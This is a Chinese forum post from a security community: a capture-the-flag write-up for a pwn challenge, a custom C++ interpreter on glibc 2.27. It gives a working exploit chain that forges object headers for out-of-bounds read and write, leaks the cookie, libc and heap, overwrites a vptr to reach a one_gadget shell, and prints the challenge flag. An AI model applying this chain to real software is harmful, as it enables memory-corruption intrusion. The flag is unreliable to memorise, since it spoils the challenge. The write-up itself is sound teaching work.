首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
CTF对抗
发新帖
0
5
[原创]看雪·2026 KCTF 第十题 Writeup
发表于: 2026-8-24 09:47
325
[原创]看雪·2026 KCTF 第十题 Writeup
孤独的小木虫
2026-8-24 09:47
325
**题目名称:** 卯时·曦光初现 **题目类型:** Pwn **出题战队:** 送分童子 **附件:** `pwn`(64 位 PIE、stripped)、`libc-2.27.so`(Ubuntu GLIBC 2.27-3ubuntu1.6) **Flag:** `flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115}` --- ## 0. 保护与环境 ``` Arch: amd64 PIE: 开启 Canary: 开启 NX: 开启 RELRO: Full RELRO ``` 程序是 C++ 写成的自定义解释器,`stripped`,无后门函数,需要泄漏 libc 后劫持控制流。配套 libc 为 **2.27**,存在 `__malloc_hook` / `__free_hook` 以及可用的 `one_gadget`。 本地用 `patchelf` 把解释器、libc、ld、旧版 libstdc++/libgcc 对齐到 2.27 后再调试,远程靶机环境与之一致。 --- ## 1. 程序逻辑 `main` 循环: 1. 打印提示符 `> ` 2. `getline` 读入最多 256 字节 3. `parse` 失败 → `invalid syntax!` 4. 解析得到 AST 后调用 `vtable[0](ast, env)` 执行 5. 失败 → `runtime error!` 6. 再调用 `vtable[2](ast)` 析构 AST 全局环境 `env` 是 BSS 上 256 个 `uint64` 槽位。另有一块 **64KB bump 堆**(`operator new[](0x10000)`),以及从 `/dev/urandom` 读出的 8 字节 **cookie**。程序字符串里写着 *garbage collection has not been implemented yet*,对象只增不回收。 RTTI 能看到解释器类型: - 值类型:`Number`、`Object`、`Literal` - AST:`AssignLit`、`GetField`、`SetField`、`BinOp` --- ## 2. 语言文法 所有语句必须以 `$` + 十进制槽号开头,不能有空格。合法语句只有四类: | 形式 | 含义 | | -------------------------- | --------------------------------------------- | | `$N=123` / `$N=[1,2,[3]]` | 把数字或嵌套数组赋给槽 `N`(AssignLit) | | `$A=$B` / `$A=$B[i][j]...` | 拷贝,或按路径取字段(GetField) | | `$A[i][j]...=$B` | 按路径写字段(SetField),源值不能是对象 | | `$A op $B` | 二元运算,结果写回 `$A`(`+ - * / % ^ \| &`) | 数字字面量经 `Number::to_heap` 会 `& 0xFFFFFFFFFFFF` 截成 48 位;但 **BinOp 按完整 64 位运算**,因此可以用乘法构造高 16 位标签: ``` $10=16777216 # 2^24 $11=16777216 $10*$11 # $10 = 2^48 $12=48879 # 0xBEEF $12*$10 # $12 = 0xBEEF << 48 ``` --- ## 3. 内存模型 ### 3.1 标签 | 编码 | 含义 | | -------------------------------------- | -------------------------------- | | `ptr \| 0x1337000000000000` | 槽位里的对象指针(指向 bump 堆) | | `cookie ^ (0xBEEF000000000000 \| len)` | 堆上对象头,`len` 为子节点个数 | 数字字段序列化为 `cookie ^ (value & 0xFFFFFFFFFFFF)`。GetField 读出时再异或 cookie,因此: - 读到「已知明文 0」→ 得到 cookie - 读到 glibc 堆上的裸指针 → 得到 `ptr ^ cookie`,再和 cookie 异或还原 BinOp 两边只要带 `0x1337` 标签就会失败,所以对象指针不能直接做加减;泄漏到的未加标签地址可以。 ### 3.2 字段遍历 `1EDA` `GetField` / `SetField` 走路径时调用 `1EDA(obj, index)`: - 校验对象头为 BEEF,且 `index <= len`(内部 skip 整棵子树时会用 `index == len`) - 从 `obj+8` 开始,遇到 BEEF 头就按子对象长度整块跳过,否则 `+8` - 返回第 `index` 个子节点的指针 用户侧检查是 `index >= len` 则失败,所以合法字段下标是 `0 .. len-1`。 **但是:** 如果某个数字字段被写成 `0xBEEF<<48 | huge_len`,遍历会把它当成内嵌对象,后续下标就可以走出当前对象,进入 64KB bump 堆后面的 glibc 堆。 SetField 写入公式: ``` *slot = cookie ^ src ``` 源值只要不是 `0x1337` 标签即可。因此可以主动把某个字段写成伪造的 BEEF 头。 --- ## 4. 漏洞 **伪造对象头 + 任意相对读写。** ``` $0=[0,0,0,0] # 真实对象,len=4,落在 bump 堆起始 $12 = (0xBEEF<<48)|20000 $0[0]=$12 # 字段 0 变成伪造子对象 $x=$0[0][k] # 从伪造头往后走 k 步,OOB 读 $0[0][k]=$y # OOB 写(写入 cookie^y) ``` 下标与偏移关系(伪造头在 `custom+8`,`1EDA` 从 `custom+16` 起跳): ``` addr = custom + 16 + 8*k k = (offset - 16) / 8 ``` 64KB 未使用区域是 0。`0 ^ cookie = cookie`,且 cookie 高 16 位几乎不可能是 `0xBEEF`,所以读零页就能稳定漏 cookie。 --- ## 5. 信息泄漏 在 Ubuntu 18.04 / glibc 2.27 上,`new[](0x10000)` 之后的堆布局稳定: ``` [tcache_perthread] ← heap_start + 0x10 [iostream 小块] [64KB bump 堆] ← custom,相对 tcache 偏移 0x11e60 [0x230 in-use 块] ← 内含 libc 指针 [0x20 tcache ...] [SetField AST 0x30] ← 固定落在 custom+0x10340 ``` 关键泄漏点: | 偏移 | k | 内容 | | ---------------- | ---- | ----------------------------------- | | `+0x08` 起的零页 | 8 | cookie | | `+0x10018` | 8193 | tcache 地址 | | `+0x10078` | 8205 | `_IO_2_1_stderr_` = libc+`0x3ec680` | 计算: ``` cookie = $0[0][8] stderr = $0[0][8205] ^ cookie libc = stderr - 0x3ec680 tcache = $0[0][8193] ^ cookie custom = tcache + 0x11e60 gadget = libc + 0x4f302 ``` `one_gadget`(`libc+0x4f302`): ``` mov rax, [environ] lea rdi, "/bin/sh" lea rsi, [rsp+0x40] ... call execve ``` 约束 `[rsp+0x40] == NULL`。从 `main` 调 AST 析构时栈上刚好满足。 --- ## 6. 控制流劫持 Full RELRO 不能改 GOT。做法是 **在 SetField 求值期间改写它自己的 vptr**,返回 `main` 后 `call [vptr+0x10]` 进 `one_gadget`。 1. 在 bump 堆 `custom+0x80` 种假 vtable(三个槽都写成 gadget): - `k=14,15,16` 对应 `+0x80,+0x88,+0x90` - SetField 写入 `cookie ^ src`,所以源值要预异或:`src = cookie ^ gadget` 2. 当前这条 `SetField` 对象稳定分配在 `custom+0x10340`(命令序列固定时 tcache 0x40 复用) 3. `$0[0][8294]=$vptr` 把该对象 vptr 改成 `custom+0x80` (`k=8294` ⇔ 偏移 `0x10340`) 4. 求值成功返回,`main` 调用 `vtable[2]` → `one_gadget` → shell 小下标种 vtable 只走过 bump 堆里的 0,不会撞到 glibc 堆上「异或后像 BEEF」的指针;最后一次大下标行走路径上也基本是 0 和少量元数据,远程实测一次成功。 --- ## 7. Exploit 要点 完整脚本见同目录 `exp.py`。核心语句序列: ```text $10=16777216 $11=16777216 $10*$11 # 2^48 $12=48879 $12*$10 # 0xBEEF<<48 $13=20000 $12|$13 # 伪造头 $0=[0,0,0,0] $0[0]=$12 $20=$0[0][8] # cookie $21=$0[0][8205] $21^$20 # stderr $21-$40 # libc ($40=0x3ec680) $30=$0[0][8193] $30^$20 # tcache $31=$30 $31+$41 # custom ($41=0x11e60) $32=$31 $32+$46 # fake vtable = custom+0x80 $33=$21 $33+$42 # gadget ($42=0x4f302) $50=$20 $50^$33 # cookie ^ gadget $51=$20 $51^$32 # cookie ^ fake_vtable $0[0][14]=$50 $0[0][15]=$50 $0[0][16]=$50 $0[0][8294]=$51 # 改写正在执行的 SetField.vptr ``` 之后向连接写入 `cat flag` 即可。 本地(2.27 补丁后的 `pwn_patched`)和远程靶机同一条链均可稳定 getshell。 --- ## 8. Flag ``` flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115} ``` --- ## 9. 工具与环境 - IDA / 逆向:确认文法、vtable、bump 堆与 cookie - `patchelf` + Ubuntu 18.04 的 `ld-2.27` / `libstdc++.so.6`:本地对齐远程 libc - `/proc/<pid>/mem`:核对泄漏偏移、`SetField` 对象落点 - 纯 Python socket 脚本:打远程,无需 pwntools
回复或点赞可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
收藏
・
0
点赞
・
5
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
git_99440qimingminimax
为你点赞!
7小时前
git_51951meggadf3df
非常支持你的观点!
2026-9-10 22:27
huangyalei
非常支持你的观点!
2026-8-31 16:22
风子
你的分享对大家帮助很大,非常感谢!
2026-8-28 21:20
mb_lthgjpwj
为你点赞!
2026-8-27 15:27
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
馨禧
雪 币:
33
能力值:
( LV1,RANK:0 )
在线值:
发帖
1
回帖
53
粉丝
0
关注
私信
馨禧
2
楼
111
2026-9-11 15:20
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
孤独的小木虫
1
发帖
10
回帖
10
RANK
关注
私信
他的文章
[原创]看雪·2026 KCTF 第十题 Writeup
322
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部